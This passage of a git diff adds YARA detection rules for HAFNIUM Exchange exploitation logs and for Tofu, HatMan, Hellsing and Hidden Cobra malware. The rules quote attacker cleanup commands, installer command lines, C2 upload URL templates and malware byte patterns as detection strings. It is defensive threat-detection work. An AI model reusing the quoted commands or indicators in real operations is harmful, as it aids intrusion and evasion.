+      modified = "2021-03-04"
+      id = "f6fa90c7-c2c0-56db-bf7b-dc146761a995"
+   strings:
+      $xr1 = /POST (\/owa\/auth\/Current\/themes\/resources\/logon\.css|\/owa\/auth\/Current\/themes\/resources\/owafont_ja\.css|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif|\/owa\/auth\/Current\/themes\/resources\/owafont_ko\.css|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiBold\.eot|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiLight\.ttf|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif)/   
+   condition:
+      $xr1
+}
+
+rule LOG_APT_HAFNIUM_Exchange_Log_Traces_Mar21_1 : LOG {
+   meta:
+      description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      date = "2021-03-04"
+      score = 65
+      id = "a51f0bd5-c6fd-5ee4-9d30-9a6001778013"
+   strings:
+      $xr1 = /POST \/(ecp\/y\.js|ecp\/main\.css|ecp\/default\.flt|ecp\/auth\/w\.js|owa\/auth\/w\.js)[^\n]{100,600} (200|301|302) /
+
+      $xr3 = /POST \/owa\/auth\/Current\/[^\n]{100,600} (DuckDuckBot\/1\.0;\+\(\+http:\/\/duckduckgo\.com\/duckduckbot\.html\)|facebookexternalhit\/1\.1\+\(\+http:\/\/www\.facebook\.com\/externalhit_uatext\.php\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\)|Mozilla\/5\.0\+\(compatible;\+Bingbot\/2\.0;\+\+http:\/\/www\.bing\.com\/bingbot\.htm\)|Mozilla\/5\.0\+\(compatible;\+Googlebot\/2\.1;\+\+http:\/\/www\.google\.com\/bot\.html|Mozilla\/5\.0\+\(compatible;\+Konqueror\/3\.5;\+Linux\)\+KHTML\/3\.5\.5\+\(like\+Gecko\)\+\(Exabot-Thumbnails\)|Mozilla\/5\.0\+\(compatible;\+Yahoo!\+Slurp;\+http:\/\/help\.yahoo\.com\/help\/us\/ysearch\/slurp\)|Mozilla\/5\.0\+\(compatible;\+YandexBot\/3\.0;\+\+http:\/\/yandex\.com\/bots\)|Mozilla\/5\.0\+\(X11;\+Linux\+x86_64\)\+AppleWebKit\/537\.36\+\(KHTML,\+like\+Gecko\)\+Chrome\/51\.0\.2704\.103\+Safari\/537\.3)/
+      $xr4 = /POST \/ecp\/[^\n]{100,600} (ExchangeServicesClient\/0\.0\.0\.0|python-requests\/2\.19\.1|python-requests\/2\.25\.1)[^\n]{200,600} (200|301|302) /
+      $xr5 = /POST \/(aspnet_client|owa)\/[^\n]{100,600} (antSword\/v2\.1|Googlebot\/2\.1\+\(\+http:\/\/www\.googlebot\.com\/bot\.html\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\))[^\n]{200,600} (200|301|302) /
+   condition:
+      1 of them
+}
+
+rule LOG_Exchange_Forensic_Artefacts_CleanUp_Activity_Mar21_1 : LOG {
+   meta:
+      description = "Detects forensic artefacts showing cleanup activity found in HAFNIUM intrusions exploiting"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/jdferrell3/status/1368626281970024448"
+      date = "2021-03-08"
+      score = 70
+      id = "95b19544-147b-5496-b717-669cbc488179"
+   strings:
+      $x1 = "cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client" ascii wide
+      $x2 = "cmd.exe /c cd /d C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
+      
+      $s1 = "aspnet_client&del '"
+      $s2 = "aspnet_client&attrib +h +s +r "
+      $s3 = "&echo [S]"
+   condition:
+      1 of ($x*) or 2 of them
+}
+
+rule EXPL_LOG_CVE_2021_27055_Exchange_Forensic_Artefacts : LOG {
+   meta:
+      description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+      author = "Zach Stanford - @svch0st, Florian Roth"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log"
+      reference_2 = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
+      date = "2021-03-10"
+      modified = "2021-03-15"
+      score = 65
+      id = "8b0110a9-fd03-5f7d-bdd8-03ff48bcac68"
+   strings:
+      $x1 = "ServerInfo~" ascii wide
+
+      $sr1 = /\/ecp\/[0-9a-zA-Z]{1,3}\.js/ ascii wide  /* Adjusted to cover MSF exploit https://github.com/rapid7/metasploit-framework/blob/e5c76bfe13acddc4220d7735fdc3434d9c64736e/modules/exploits/windows/http/exchange_proxylogon_rce.rb */
+
+      $s1 = "/ecp/auth/w.js" ascii wide 
+      $s2 = "/owa/auth/w.js" ascii wide
+      $s3 = "/owa/auth/x.js" ascii wide
+      $s4 = "/ecp/main.css" ascii wide
+      $s5 = "/ecp/default.flt" ascii wide
+      $s6 = "/owa/auth/Current/themes/resources/logon.css" ascii wide
+   condition:
+      $x1 and 1 of ($s*)
+}
+
+rule LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_2 : LOG {
+   meta:
+      description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
+      date = "2021-03-10"
+      score = 65
+      id = "37a26def-b360-518e-a4ab-9604a5b39afd"
+   strings:
+      $sr1 = /GET \/rpc\/ &CorrelationID=<empty>;&RequestId=[^\n]{40,600} (200|301|302)/
+   condition:
+      $sr1
+}
diff --git a/yara-Neo23x0/apt_ham_tofu_chches.yar b/yara-Neo23x0/apt_ham_tofu_chches.yar
new file mode 100644
index 0000000..50f11fc
--- /dev/null
+++ b/yara-Neo23x0/apt_ham_tofu_chches.yar
@@ -0,0 +1,24 @@
+
+/*
+   Yara Rule Set
+   Author: Cylance
+   Date: 2017-02-28
+   Identifier: Jap Threat
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Tofu_Backdoor {
+   meta:
+      description = "Detects Tofu Trojan"
+      author = "Cylance"
+      reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
+      date = "2017-02-28"
+      id = "03848366-f139-5352-959d-390992d96296"
+   strings:
+   	$a = "Cookies: Sym1.0"
+   	$b = "\\\\.\\pipe\\1[12345678]"
+   	$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}
+   condition:
+   	$a or $b or $c
+}
diff --git a/yara-Neo23x0/apt_hatman.yar b/yara-Neo23x0/apt_hatman.yar
new file mode 100644
index 0000000..9679845
--- /dev/null
+++ b/yara-Neo23x0/apt_hatman.yar
@@ -0,0 +1,116 @@
+/*
+ * DESCRIPTION: Yara rules to match the known binary components of the HatMan
+ *              malware targeting Triconex safety controllers. Any matching
+ *              components should hit using the "hatman" rule in addition to a
+ *              more specific "hatman_*" rule.
+ * AUTHOR:      DHS/NCCIC/ICS-CERT
+ */
+
+/* Globally only look at small files. */
+
+/* Disabled global rule to avoid applying this rule to the full concatenated
+   rule set
+private global rule hatman_filesize : hatman {
+    condition:
+        filesize < 100KB
+}
+*/
+
+/* Private rules that are used at the end in the public rules. */
+
+private rule hatman_setstatus : hatman {
+    strings:
+        $preset     = { 80 00 40 3c  00 00 62 80  40 00 80 3c  40 20 03 7c
+                        ?? ?? 82 40  04 00 62 80  60 00 80 3c  40 20 03 7c
+                        ?? ?? 82 40  ?? ?? 42 38                           }
+    condition:
+        $preset
+}
+private rule hatman_memcpy : hatman {
+    strings:
+        $memcpy_be  = { 7c a9 03 a6  38 84 ff ff  38 63 ff ff  8c a4 00 01
+                        9c a3 00 01  42 00 ff f8  4e 80 00 20              }
+        $memcpy_le  = { a6 03 a9 7c  ff ff 84 38  ff ff 63 38  01 00 a4 8c
+                        01 00 a3 9c  f8 ff 00 42  20 00 80 4e              }
+    condition:
+        $memcpy_be or $memcpy_le
+}
+private rule hatman_dividers : hatman {
+    strings:
+        $div1       = { 9a 78 56 00 }
+        $div2       = { 34 12 00 00 }
+    condition:
+        $div1 and $div2
+}
+private rule hatman_nullsub : hatman {
+    strings:
+        $nullsub     = { ff ff 60 38  02 00 00 44  20 00 80 4e }
+    condition:
+        $nullsub
+}
+private rule hatman_origaddr : hatman {
+    strings:
+        $oaddr_be   = { 3c 60 00 03  60 63 96 f4  4e 80 00 20 }
+        $oaddr_le   = { 03 00 60 3c  f4 96 63 60  20 00 80 4e }
+    condition:
+        $oaddr_be or $oaddr_le
+}
+private rule hatman_origcode : hatman {
+    strings:
+        $ocode_be   = { 3c 00 00 03  60 00 a0 b0  7c 09 03 a6  4e 80 04 20 }
+        $ocode_le   = { 03 00 00 3c  b0 a0 00 60  a6 03 09 7c  20 04 80 4e }
+    condition:
+        $ocode_be or $ocode_le
+}
+private rule hatman_mftmsr : hatman {
+    strings:
+        $mfmsr_be   = { 7c 63 00 a6 }
+        $mfmsr_le   = { a6 00 63 7c }
+        $mtmsr_be   = { 7c 63 01 24 }
+        $mtmsr_le   = { 24 01 63 7c }
+    condition:
+        ($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
+}
+private rule hatman_loadoff : hatman {
+    strings:
+        $loadoff_be = { 80 60 00 04  48 00 ?? ??  70 60 ff ff  28 00 00 00
+                        40 82 ?? ??  28 03 00 00  41 82 ?? ??              }
+        $loadoff_le = { 04 00 60 80  ?? ?? 00 48  ff ff 60 70  00 00 00 28
+                        ?? ?? 82 40  00 00 03 28  ?? ?? 82 41              }
+    condition:
+        $loadoff_be or $loadoff_le
+}
+
+/* Actual public rules to match using the private rules. */
+
+rule hatman_compiled_python : hatman {
+    meta:
+        description = "Detects Hatman malware"
+        reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+        date = "2017/12/19"
+        author = "DHS/NCCIC/ICS-CERT"
+        id = "fd156669-72b4-59a5-8f36-aac21d7b3105"
+    condition:
+        hatman_nullsub and hatman_setstatus and hatman_dividers
+}
+rule hatman_injector : hatman {
+    meta:
+        description = "Detects Hatman malware"
+        reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+        date = "2017/12/19"
+        modified = "2023-01-09"
+        author = "DHS/NCCIC/ICS-CERT"
+        id = "b939b83d-cc4a-5998-89a7-8abf8d0b8592"
+    condition:
+        ( hatman_memcpy and hatman_origaddr and hatman_loadoff )
+}
+rule hatman_payload : hatman {
+    meta:
+        description = "Detects Hatman malware"
+        reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
+        date = "2017/12/19"
+        author = "DHS/NCCIC/ICS-CERT"
+        id = "9ef57fca-a536-5937-8510-b410f735a73e"
+    condition:
+        ( hatman_memcpy and hatman_origcode and hatman_mftmsr ) and not ( hatman_origaddr and hatman_loadoff )
+}
diff --git a/yara-Neo23x0/apt_hellsing_kaspersky.yar b/yara-Neo23x0/apt_hellsing_kaspersky.yar
new file mode 100644
index 0000000..ac09bed
--- /dev/null
+++ b/yara-Neo23x0/apt_hellsing_kaspersky.yar
@@ -0,0 +1,137 @@
+
+rule apt_hellsing_implantstrings { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" 
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing implants"
+		id = "00aa5885-ae79-5d68-8587-13d3e8965630"
+	strings: 
+		$a1 = "the file uploaded failed !"
+		$a2 = "ping 127.0.0.1"
+		$b1 = "the file downloaded failed !"
+		$b2 = "common.asp"
+		$c = "xweber_server.exe" 
+		$d = "action="
+		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase 
+		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase 
+		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase 
+		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase 
+		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase 
+		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase 
+		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
+		$e = "msger_server.dll" 
+		$f = "ServiceMain"
+	condition:
+		uint16(0) == 0x5a4d and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
+}
+
+rule apt_hellsing_installer { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xweber/msger installers"
+		id = "0aca838e-813a-59ee-8a04-7d2f4e854075"
+	strings: 
+		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1 = "xweber_install_uac.exe"
+		$a2 = "system32\\cmd.exe" wide
+		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg=" 
+		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g=" $a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
+		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide 
+		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide 
+		$a11 = "msger_install.dll"
+		$a12 = {00 65 78 2E 64 6C 6C 00}
+	condition:
+		uint16(0) == 0x5a4d and ($cmd and (2 of ($a*))) and filesize < 500000
+}
+
+rule apt_hellsing_proxytool { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing proxy testing tool"
+		id = "54454f07-11a9-5456-b489-9a9610e53123"
+	strings: 
+		$a1 = "PROXY_INFO: automatic proxy url => %s"
+		$a2 = "PROXY_INFO: connection type => %d"
+		$a3 = "PROXY_INFO: proxy server => %s"
+		$a4 = "PROXY_INFO: bypass list => %s"
+		$a5 = "InternetQueryOption failed with GetLastError() %d"
+		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_xkat { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xKat tool"
+		id = "c831ce04-8fb2-5790-8aaf-c88b370835ac"
+	strings: 
+		$a1 = "\\Dbgv.sys" $a2="XKAT_BIN" $a3="release sys file error."
+		$a4 = "driver_load error. "
+		$a5 = "driver_create error."
+		$a6 = "delete file:%s error." 
+		$a7 = "delete file:%s ok."
+		$a8 = "kill pid:%d error."
+		$a9 = "kill pid:%d ok."
+		$a10 = "-pid-delete"
+		$a11 = "kill and delete pid:%d error."
+		$a12 = "kill and delete pid:%d ok."
+	condition:
+		uint16(0) == 0x5a4d and (6 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_msgertype2 { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger type 2 implants"
+		id = "98f151de-c1c2-56c1-8c64-5d1f437e0742"
+	strings: 
+		$a1 = "%s\\system\\%d.txt"
+		$a2 = "_msger" 
+		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4 = "http://%s/data/%s.1000001000" 
+		$a5 = "/lib/common.asp?action=user_upload&file="
+		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
+	condition:
+		uint16(0) == 0x5a4d and (4 of ($a*)) and filesize < 500000
+}
+
+rule apt_hellsing_irene { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger irene installer"
+		id = "b57d1a10-4e5c-511f-b98c-8ce7d766c227"
+	strings: 
+		$a1 = "\\Drivers\\usbmgr.tmp" wide
+		$a2 = "\\Drivers\\usbmgr.sys" wide
+		$a3 = "common_loadDriver CreateFile error!"
+		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
+		$a5 = "irene" wide
+		$a6 = "aPLib v0.43 - the smaller the better" 
+	condition:
+		uint16(0) == 0x5a4d and (4 of ($a*)) and filesize < 500000
+}
diff --git a/yara-Neo23x0/apt_hidden_cobra.yar b/yara-Neo23x0/apt_hidden_cobra.yar
new file mode 100644
index 0000000..48d0294
--- /dev/null
+++ b/yara-Neo23x0/apt_hidden_cobra.yar
@@ -0,0 +1,185 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-13
+   Identifier: Hidden Cobra
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-164A
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HiddenCobra_Rule_1 {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+      id = "921c027e-fac3-5419-b0a6-5043f5cde466"
+   strings:
+      $rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
+            A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
+            48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
+            73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
+            AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
+            39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
+            3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
+            B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+   condition:
+      all of them
+}
+
+/* Prone to False Positives ----------------------------------------
+rule HiddenCobra_Rule_2 {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+   strings:
+      $STR1 = "Wating" wide ascii fullword
+      $STR2 = "Reamin" wide ascii fullword
+      $STR3 = "laptos" wide ascii fullword
+   condition:
+      ( uint16(0) == 0x5A4D or
+        uint16(0) == 0xCFD0 or
+        uint16(0) == 0xC3D4 or
+        uint32(0) == 0x46445025 or
+        uint32(1) == 0x6674725C
+      ) and all of them
+}
+*/
+
+rule HiddenCobra_Rule_3 {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+      id = "39c7e039-4b07-575d-a93a-539ecc4e63d8"
+   strings:
+      $randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
+         44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
+         00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
+         6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
+         48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
+         44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
+         18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
+         44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
+         66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
+         6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
+         83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
+         00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
+         FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
+         49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
+         C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
+         E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
+         8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
+         C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
+         ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
+         48 C3 }
+   condition:
+      $randomUrlBuilder
+}
+
+
+import "pe"
+
+rule APT_HiddenCobra_GhostSecret_1 {
+   meta:
+      description = "Detects Hidden Cobra Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
+      date = "2018-08-11"
+      hash1 = "05a567fe3f7c22a0ef78cc39dcf2d9ff283580c82bdbe880af9549e7014becfc"
+      id = "d6955294-84a4-5694-87c9-b5b1c39e0fae"
+   strings:
+      $s1 = "%s\\%s.dll" fullword wide
+      $s2 = "PROXY_SVC_DLL.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule APT_HiddenCobra_GhostSecret_2 {
+   meta:
+      description = "Detects Hidden Cobra Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
+      date = "2018-08-11"
+      hash1 = "45e68dce0f75353c448865b9abafbef5d4ed6492cd7058f65bf6aac182a9176a"
+      id = "dab5b0ec-ae89-521e-bbb9-15602db9ed6c"
+   strings:
+      $s1 = "ping 127.0.0.1 -n 3" fullword wide
+      $s2 = "Process32" fullword ascii
+      $s11 = "%2d%2d%2d%2d%2d%2d" fullword ascii
+      $s12 = "del /a \"" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+import "pe"
+
+rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_1 {
+   meta:
+      description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+      date = "2019-04-13"
+      hash1 = "d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39"
+      id = "923a0812-f375-5c0c-a22c-fc71ddcad4e3"
+   strings:
+      $s1 = "www.naver.com" fullword ascii
+      $s2 = "PolarSSL Test CA0" fullword ascii
+   condition:
+      filesize < 1000KB and all of them
+}
+
+rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_2 {
+   meta:
+      description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+      date = "2019-04-13"
+      hash1 = "70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3"
+      id = "9c7fd381-272a-5cfc-a7ee-7f0f9221fa04"
+   strings:
+      $s1 = "%SystemRoot%\\System32\\svchost.exe -k mdnetuse" fullword ascii
+      $s2 = "%s\\hid.dll" fullword ascii
+      $s3 = "%Systemroot%\\System32\\" ascii
+      $s4 = "SYSTEM\\CurrentControlSet\\services\\%s\\Parameters" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_3 {
+   meta:
+      description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
+      date = "2019-04-13"
+      hash1 = "2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525"
+      hash2 = "05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461"
+      hash3 = "ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d"
+      id = "683b4d64-575a-5bdb-9ad8-e10a60037032"
+   strings:
+      $s1 = "Oleaut32.dll" fullword ascii
+      $s2 = "Process32NextA" fullword ascii
+      $s3 = "Process32FirstA" fullword ascii
+      $s4 = "%sRSA key size  : %d bits" fullword ascii
+      $s5 = "emailAddress=" fullword ascii
+      $s6 = "%scert. version : %d" fullword ascii
+      $s7 = "www.naver.com" fullword ascii
+
+      $x1 = "ztretrtireotreotieroptkierert" fullword ascii
+      $x2 = "reykfgkodfgkfdskgdfogpdokgsdfpg" fullword ascii
+      $x3 = "fjiejffndxklfsdkfjsaadiepwn" fullword ascii
+      $x4 = "fgwljusjpdjah" fullword ascii
+      $x5 = "udbcgiut.dat" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and (
+            1 of ($x*) or
+            6 of ($s*)
+      )
+}
diff --git a/yara-Neo23x0/apt_hiddencobra_bankshot.yar b/yara-Neo23x0/apt_hiddencobra_bankshot.yar
new file mode 100644
index 0000000..3aa5d8f
--- /dev/null
+++ b/yara-Neo23x0/apt_hiddencobra_bankshot.yar
@@ -0,0 +1,92 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-26
+   Identifier: Hidden Cobra - BANKSHOT
+   Reference: https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HiddenCobra_BANKSHOT_Gen {
+   meta:
+      description = "Detects Hidden Cobra BANKSHOT trojan"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
+      date = "2017-12-26"
+      modified = "2022-06-10"
+      hash1 = "89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486"
+      hash2 = "8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247"
+      hash3 = "b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24"
+      hash4 = "daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75"
+      hash5 = "ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699"
+      hash6 = "d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff"
+      hash7 = "ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9"
+      hash8 = "3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6"
+      hash9 = "6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca"
+      id = "fbf9dd32-cb9a-51f2-bd03-0387fbf44baa"
+   strings:
+      $s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword wide
+      $s2 = "rHTTP/1.1 200 Connection established" fullword wide
+      $s3 = "Proxy-Connection: keep-alive" fullword wide
+      $s4 = "\\msncf.dat" wide
+      $s5 = "msvcru32.bat" fullword ascii
+      $s6 = "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"%s\" /f" fullword ascii
+      $s7 = "MXINFO.DLL" fullword ascii
+      $s8 = "usrvc32.bat" fullword ascii
+      $s9 = "ping -n 1 127.0.0.1" fullword ascii
+      $s10 = "%sd.e%sc \"%s > %s 2>&1\"" ascii fullword
+      $s11 = "DWS*.tmp" ascii fullword
+      $s12 = "CS*.tmp" fullword wide
+      $s13 = "WM*.tmp" fullword wide
+
+      $x1 = "CgpaipIddwspwe32Hnaehsdi" fullword ascii
+      $x2 = "RpiPmtiCdopIsgpao" fullword ascii
+      $x3 = "RpiLtnodlhOtgpcidgyA" fullword ascii
+      $x4 = "LatiQdgHtnrwpDbupci" fullword ascii
+      /* $x5 = "vchost.exe" fullword ascii */
+      $x6 = "\\system32\\msncf.dat" ascii
+      $x7 = "GprthipgHpgktcpCigwSanowpgA" fullword ascii
+
+      $a1 = "live.dropbox.com" fullword ascii
+      $a2 = "tatadocomo.yahoo.com" fullword ascii
+      $a3 = "widgets.twimg.com" fullword ascii
